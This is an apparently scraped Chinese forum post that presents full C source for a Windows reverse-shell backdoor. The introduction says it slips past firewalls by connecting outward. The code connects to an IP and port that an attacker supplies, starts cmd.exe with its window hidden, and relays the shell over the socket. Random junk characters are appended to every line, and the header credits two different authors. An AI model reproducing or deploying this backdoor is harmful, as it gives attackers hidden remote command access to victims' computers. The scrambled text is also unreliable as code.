这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s(nT7x+W
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/* ============================== ?+))J~@t
Rebound port in Windows NT D3yTN"
By wind,2006/7 r|=1{Nx
===============================*/ Jup)A`64
#include bx(@ fl:m
#include 8[KKi ~A
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#pragma comment(lib,"wsock32.lib") @uH!n~QV
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void OutputShell(); c7jmzo
SOCKET sClient; c3 O/#*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cf88Fd6l/
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void main(int argc,char **argv) H;
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{ =w!ik9
WSADATA stWsaData; ~x^y5[5{
int nRet; Wk<fNHg
SOCKADDR_IN stSaiClient,stSaiServer; u0h%4f!X
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if(argc != 3) _"ciHYHBQ
{ cvaG[NF
printf("Useage:\n\rRebound DestIP DestPort\n"); ;NR|Hi]
return; A<ds+0
} uYMn VE"
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WSAStartup(MAKEWORD(2,2),&stWsaData); >!t3~q1Cn
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d 2d-Mk
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stSaiClient.sin_family = AF_INET; 4AS%^&ah
stSaiClient.sin_port = htons(0); >UvP/rp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jv8:GgSg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B;r_[^
{ 3'Y-~^ml|
printf("Bind Socket Failed!\n"); &em~+83
return; W;Y^(f
} M
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stSaiServer.sin_family = AF_INET; }6@E3z]AMO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hBjU(}\3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &KjMw:l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jt=->
{ !+%gJiu:
printf("Connect Error!"); [UA*We 1
return; ,*J@ic7"
} P |tyyjO
OutputShell(); { c#US
} Y(g_h:lf,]
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void OutputShell() |%C2 cx
{ XM`GK>*aC(
char szBuff[1024]; `eMZhYo
SECURITY_ATTRIBUTES stSecurityAttributes; 0f6o0@
OSVERSIONINFO stOsversionInfo; d}\]!x3t
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]p`y
STARTUPINFO stStartupInfo; rLsY_7!
char *szShell; 5vyg-'
PROCESS_INFORMATION stProcessInformation; A|\A|8=b
unsigned long lBytesRead; lxyTh'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ! :&SfPv
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M-nRhso
stSecurityAttributes.lpSecurityDescriptor = 0; i1cd9
stSecurityAttributes.bInheritHandle = TRUE; 0vqVE]C
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O>' }q/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uO]D=Z\S(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )#m{"rk[x,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8\rca:cF
stStartupInfo.wShowWindow = SW_HIDE; gw)4P tb!
stStartupInfo.hStdInput = hReadPipe; ,D;8~llM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \}$|Uo$O
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GetVersionEx(&stOsversionInfo); 5p#0K@`n/
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switch(stOsversionInfo.dwPlatformId) q`1tUd 4G
{ #kv9$
case 1: 8g0 #WV
szShell = "command.com"; mD9Iao%4~
break; ]`$6=)_X
default: IU8zidn&
szShell = "cmd.exe"; cb^IJA9}
break; $5i\D
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} ~^2w)-N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oJTEN}fL
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send(sClient,szMsg,77,0); M2Nh3ijr
while(1) 4;6"I2;zfG
{ =3035{\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nX (bVT4i
if(lBytesRead) }k VC]+
{ LA6XTgcu
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \^(#b,k#
send(sClient,szBuff,lBytesRead,0); aH"d~Y^
} #`_W?-%^
else K6->{!8]k
{ ] V/5<O1
lBytesRead=recv(sClient,szBuff,1024,0); >GIQT?O6
if(lBytesRead<=0) break; QT%`=b
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z?eTjkNS#
} w~+*Vd~U
} D+!T5)>(
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return; l -XfUjJ
}